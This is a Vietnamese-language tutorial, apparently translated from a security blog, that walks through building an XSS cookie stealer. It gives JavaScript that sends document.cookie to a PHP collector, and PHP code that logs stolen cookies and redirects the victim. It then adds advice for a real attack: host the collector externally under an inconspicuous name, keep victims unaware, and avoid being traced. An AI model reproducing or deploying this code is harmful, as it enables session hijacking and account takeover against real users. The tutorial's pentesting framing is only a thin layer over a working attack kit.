JavaScript là một trong những ngôn ngữ phổ biến nhất được sử dụng trên web. Nó có thể tự động hóa và tạo hoạt ảnh cho các thành phần của trang web, quản lý nội dung trang web và thực hiện nhiều chức năng hữu ích khác bên trong trang web. JavaScript cũng có nhiều chức năng có thể được sử dụng cho các mục đích xấu, bao gồm đánh cắp cookie XSS của người dùng có chứa mật khẩu và các thông tin khác.
Cookie là thông tin mà một trang web yêu cầu hoặc duy trì liên quan đến những người dùng cụ thể truy cập trang. Các cookie này chứa thông tin về cách thức và thời điểm họ truy cập, cũng như thông tin xác thực cho trang web như tên người dùng và mật khẩu. Vì những cookie này phải được sử dụng bất cứ khi nào khách truy cập một trang web nhất định, kẻ tấn công có thể lấy cắp thông tin này và sử dụng nó để mạo danh hoặc lập danh mục thông tin về những người dùng cụ thể.
Bạn có thể sử dụng JavaScript để lưu hoặc sửa đổi cookie của người dùng cho một domain nhất định. Mặc dù điều này thường được áp dụng để tạo và sử dụng cookie để phát triển các web tương tác, nhưng nếu kẻ tấn công cũng có thể xem cookie như vậy, nó sẽ trở thành một kỹ thuật hack rất đáng gờm. Các cuộc tấn công dựa trên JavaScript đặc biệt hiệu quả khi được kết hợp với các kỹ thuật như injection, vì nó cho phép mã độc được thực thi trên những trang web đáng tin cậy.
Mặc dù mình không ủng hộ việc đánh cắp mật khẩu của bất kỳ ai, nhưng bài viết này là một kiến thức cần biết đối với bất kỳ pentester hoặc chuyên gia bảo mật CNTT nào. Nếu bạn không biết các hacker mũ đen làm việc như thế nào, bạn sẽ không bao giờ có thể bắt được chúng.
Viết tool cookie XSS bằng JavaScript để lấy mật khẩu
Bước 1: Tạo một trang HTML dùng để test
Để ăn cắp cookie, trước tiên cookie phải có sẵn trên domain web mà người dùng đang xem. Điều này xảy ra bất cứ khi nào người dùng xem trang web. Mặc dù hoàn toàn có thể đưa JavaScript vào các trang web bằng cách sử dụng cách tấn công man-in-the-middlehoặc bằng cách khai thác một trang web dễ bị tấn công, nhưng cả hai điều này sẽ cần thêm nhiều nỗ lực để thực hiện.
Môi trường thử nghiệm đánh cắp cookie của chúng ta sẽ nằm trong một trang chỉ mục HTML khá chuẩn. Chúng ta sẽ có thể nhúng tất cả các phần tử JavaScript. Đầu tiên, tạo một thư mục mới để chứa tệp HTML. Trên hệ thống Linux hoặc macOS, chúng ta có thể sử dụng lệnh mkdir, như hình dưới đây.
mkdir cookiestealer
Tiếp theo, truy cập vào thư mục này bằng lệnh cd:
cd cookiestealer
Khi ở trong thư mục này, chúng ta có thể tạo tệp index của mình bằng lệnh touch
touch index.html
Tiếp theo, chúng ta cũng sẽ chỉnh sửa tệp index này. Đầu tiên, mở tệp bằng nano.
nano index.html
Thêm các thẻ mở HTML cần thiết. Trong trường hợp này, chúng ta chỉ cần thẻ “html” và “body” vì không cần phần tử “head” để kiểm tra JavaScript. Tệp bây giờ sẽ trông giống như bên dưới.
<html>
<body>
</body>
</html>
Chúng ta có thể lưu tệp này bằng cách nhấn Ctrl + O trong nano. Tại thời điểm này, nếu mở trong trình duyệt web, trang của chúng ta sẽ trống. Chúng ta có thể thêm phần tử tiêu đề hoặc một số nội dung HTML cơ bản, nhưng đối với thử nghiệm này, nhiêu đây là đủ.
Bước 2: Tạo Cookie
Chúng ta có thể tạo một tham số cơ bản được chèn trong cookie bằng cách chỉ sử dụng một chuỗi duy nhất. Cookie này sẽ chỉ tồn tại trong trang này và tương tự, kỹ thuật được sử dụng để kết xuất cookie sau này sẽ áp dụng cho bất kỳ cookie nào được lưu trữ trong trang mà tập lệnh được chạy hoặc đưa vào.
<script type="text/javascript">document.cookie = "username=Null Byte";</script>
Tập lệnh này phải được chèn trong phần “body” của tệp HTML, như bên dưới.
Nếu trang web có tập lệnh này được mở, một cookie sẽ được thiết lập, nhưng sẽ không có gì hiển thị trong trình duyệt. Chúng ta có thể kết xuất cookie trực tiếp vào chính trang đó bằng cách sử dụng chức năng “document.write”. Điều này sẽ không có ích gì cho việc xuất cookie cho người dùng, nhưng nó có thể giúp chúng ta hiểu định dạng mà kỹ thuật cookie hoạt động. Chúng tacó thể thêm dòng sau vào tập lệnh của mình để kiểm tra.
document.write(document.cookie);
Tập lệnh của chúng ta bây giờ sẽ trông giống như bên dưới.
<script type="text/javascript"> document.cookie = "username=Null Byte"; document.write(document.cookie); </script>
Khi mở trong trình duyệt, nó sẽ trông giống như hình dưới đây.
Bây giờ chúng ta đã đặt thành công “username=Null Byte” làm cookie cho trang này. Bây giờ chúng ta có thể xóa “document.write (document.cookie);” chức năng của tập lệnh, vì thay vào đó chúng ta sẽ chuyển tiếp các cookie được truy xuất từ trang của người dùng được nhắm mục tiêu đến một trang độc lập, nơi chúng ta có thể viết và lưu trữ chúng.
Bước 3: Lấy cookie bằng JavaScript
Lệnh JavaScript mà chúng ta sẽ sử dụng để chuyển cookie đến máy chủ nơi chúng ta có thể ghi chúng và một lần nữa sử dụng document.cookie, tuy nhiên, thay vào đó, chuỗi này sẽ được truyền nội tuyến với một URL như được định nghĩa trong document.location.
document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie;
Trong ví dụ này, tệp PHP được đặt trên máy cục bộ, hoặc máy chủ cục bộ, tại 127.0.0.1. Trong ví dụ thực tế của kỹ thuật này, nó phải hướng tới một tệp được lưu trữ trên máy chủ web có thể được xuất ra bên ngoài mạng cục bộ hoặc máy cục bộ.
Nếu ai đó đang nhắm mục tiêu đến một trang web truyền thông xã hội, tập lệnh sẽ được đưa vào trong trang web đó và các cookie bị đánh cắp sẽ được gửi đến một IP hoặc URL của một máy chủ do tin tặc kiểm soát.
Đối với mục đích thử nghiệm, chúng ta có thể lưu trữ tệp cục bộ bằng cách sử dụng module máy chủ thử nghiệm của PHP.
Chúng ta có thể thêm lệnh JavaScript này trong các thẻ script, như bên dưới, trên cùng một trang HTML mà chúng ta đã tạo cookie mẫu.
<script type="text/javascript"> document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie; </script>
Code trang HTML bây giờ sẽ trông giống như hình bên dưới.
Lệnh JavaScript này đủ để gắn một cookie vào một yêu cầu gửi đến URL PHP, và đó là tất cả code JavaScript cần thiết cho chức năng này. Phần còn lại của quá trình xử lý cookie sẽ dùng PHP.
Bước 4: Xử lý Cookie bằng PHP
Chúng ta có thể kiểm soát những gì mình làm với cookie và nơi chúng ta chỉ đạo người dùng đã bị đánh cắp cookie từ trong tệp PHP, được xác định trong lệnh JavaScript. Trong ví dụ trên, tên của tệp PHP này là cookiestealer.php và nó nằm trên hệ thống cục bộ tại 127.0.0.1.
Nhiêu đây là đủ để triển khai thử nghiệm này, nhưng trong trường hợp thực tế, tệp PHP sẽ được phân phối tốt hơn với một tên ít rõ ràng hơn và nằm ở IP hoặc URL bên ngoài.
Đầu tiên, tạo một tệp PHP mới trong cùng thư mục với tệp index.html. Bạn có thể làm như vậy bằng cách gõ lệnh sau.
nano cookiestealer.php
Sau khi thêm các dấu ngoặc mở và đóng PHP, phần tử đầu tiên chúng ta muốn xác định là vị trí chuyển hướng, như trong ví dụ này.
<?php header ('Location:https://google.com'); ?>
Chúng ta xác định đây là “Location” theo sau “header”, trong trường hợp này là “https://ift.tt/Xzy1qSY; Nó có thể được đặt thành bất cứ thứ gì bạn muốn, miễn nó là một địa chỉ có thể được xử lý bởi trình duyệt web. Để hạn chế nguy cơ người dùng biết được một cuộc tấn công, tốt nhất là chuyển hướng họ đến một trang có liên quan để họ không cảnh giác hoặc bị mắc kẹt trong vòng lặp vô hạn của tập lệnh chạy qua chạy lại .
Với việc chuyển hướng người dùng, chúng ta có thể thêm code bổ sung để xử lý cookie. Đầu tiên, chúng ta sẽ chỉ định cookie do URL mang theo biến.
$cookies = $_GET["c"];
Tiếp theo, chúng ta sẽ xác định tệp mà cookie sẽ được lưu vào máy chủ mà chúng ta kiểm soát. Trong ví dụ dưới đây, tệp được đặt tên là “log.txt.”
$file = fopen('log.txt', 'a');
Cuối cùng, chúng ta sẽ kết hợp các biến được xác định trong hai chuỗi trên để ghi nội dung của biến, cookie, vào tệp log.
fwrite($file, $cookies . "\n\n");
Code của chúng tôi bây giờ sẽ tương tự như ảnh bên dưới.
Chúng ta đã sẵn sàng chuẩn bị môi trường thử nghiệm cho code PHP.
Bước 5: Kiểm tra trình đánh cắp cookie
Phiên bản PHP có sẵn trên hầu hết các bản phân phối Linux và hệ điều hành Unix. Mô-đun máy chủ này nhỏ, hạn chế và không thích hợp để triển khai trực tiếp, nhưng rất nhẹ và hiệu quả để kiểm tra code PHP.
Từ trong cùng một thư mục với các tệp index.html và cookiestealer.php, chúng ta có thể khởi chạy một máy chủ thử nghiệm PHP từ dòng lệnh bằng cách nhập như sau.
php -S 127.0.0.1:80
Máy chủ thử nghiệm này hiện cho phép chúng ta kiểm tra bằng cách mở “127.0.0.1” trong trình duyệt web trên cùng một máy.
Sau khi mở trang này, trình duyệt của chúng ta gần như sẽ ngay lập tức đến trang web mà chúng ta đã xác định chuyển hướng, trong trường hợp này là Google.
Nếu chúng ta xem nhật ký máy chủ PHP của mình, chúng ta sẽ nhận thấy rằng một đối số đã được chuyển đến tệp PHP và code PHP đã được thực thi.
Cuối cùng, chúng ta có thể truy xuất cookie bằng cách kiểm tra tệp “log.txt” trong thư mục trang web. Chúng ta có thể xem bằng cách sử dụng lệnh cat.
cat log.txt
Nếu nhật ký chứa nội dung cookie, trong trường hợp này là “username = Null Byte”, thì chúng ta đã đánh cắp cookie thành công bằng JavaScript rồi đó.
Bước 6: Triển khai cuộc tấn công
Cuộc tấn công này cực kỳ có giá trị để gây thiệt hại và lấy thông tin đăng nhập của người dùng trong bất kỳ trường hợp nào mà bạn có thể đưa code vào trang web mà người dùng đang sử dụng cookie. Cookie thường chứa thông tin người dùng quan trọng dưới dạng văn bản thuần và nhiều khi chứa các khóa riêng tư có thể được sử dụng để mạo danh hoặc đăng nhập với tư cách là người dùng.
Cuộc tấn công này có thể được triển khai bất cứ nơi nào có thể chèn thẻ script HTML. Một phương pháp kiểm tra phổ biến để kiểm tra lỗ hổng XSS trên các biểu mẫu web là sử dụng lệnh”alert” đơn giản như lệnh bên dưới.
<script>alert("Alert");</script>
Tập lệnh này sẽ mở một hộp cảnh báo như bên dưới. Nếu nó mở ra, trang web sẽ dễ bị tấn công bởi kỹ thuật XSS.
Trong một cuộc tấn công trực tiếp, một tin tặc sẽ cẩn thận với cách thức lưu trữ tập lệnh PHP. Nếu được thực hiện không đúng cách, nguồn gốc của tệp PHP có thể dễ dàng bị truy ngược lại cho tin tặc. Nếu một cuộc tấn công như thế này được phát hiện, thì để xác định kẻ tấn công, bạn cần cố gắng tìm kiếm thông tin về nơi các cookie bị đánh cắp đang được gửi và lưu trữ.
Phương pháp này cho thấy JavaScript có thể trở thành một công cụ tấn công mạnh mẽ như thế nào. Mặc dù nó rất hữu ích để làm cho trang web trở nên thuận tiện hơn, nhưng nếu một trang web dễ bị tiêm JavaScript độc hại thì nó có thể gây ra rủi ro lớn cho trang web và chính người dùng. Gánh nặng trách nhiệm ngăn chặn các cuộc tấn công XSS thuộc về các nhà phát triển web. Nếu người dùng không tin tưởng các tập lệnh đang được chạy trên một trang web, họ có thể chặn chúng bằng cách sử dụng tiện ích bổ sung của trình duyệt web như NoScript.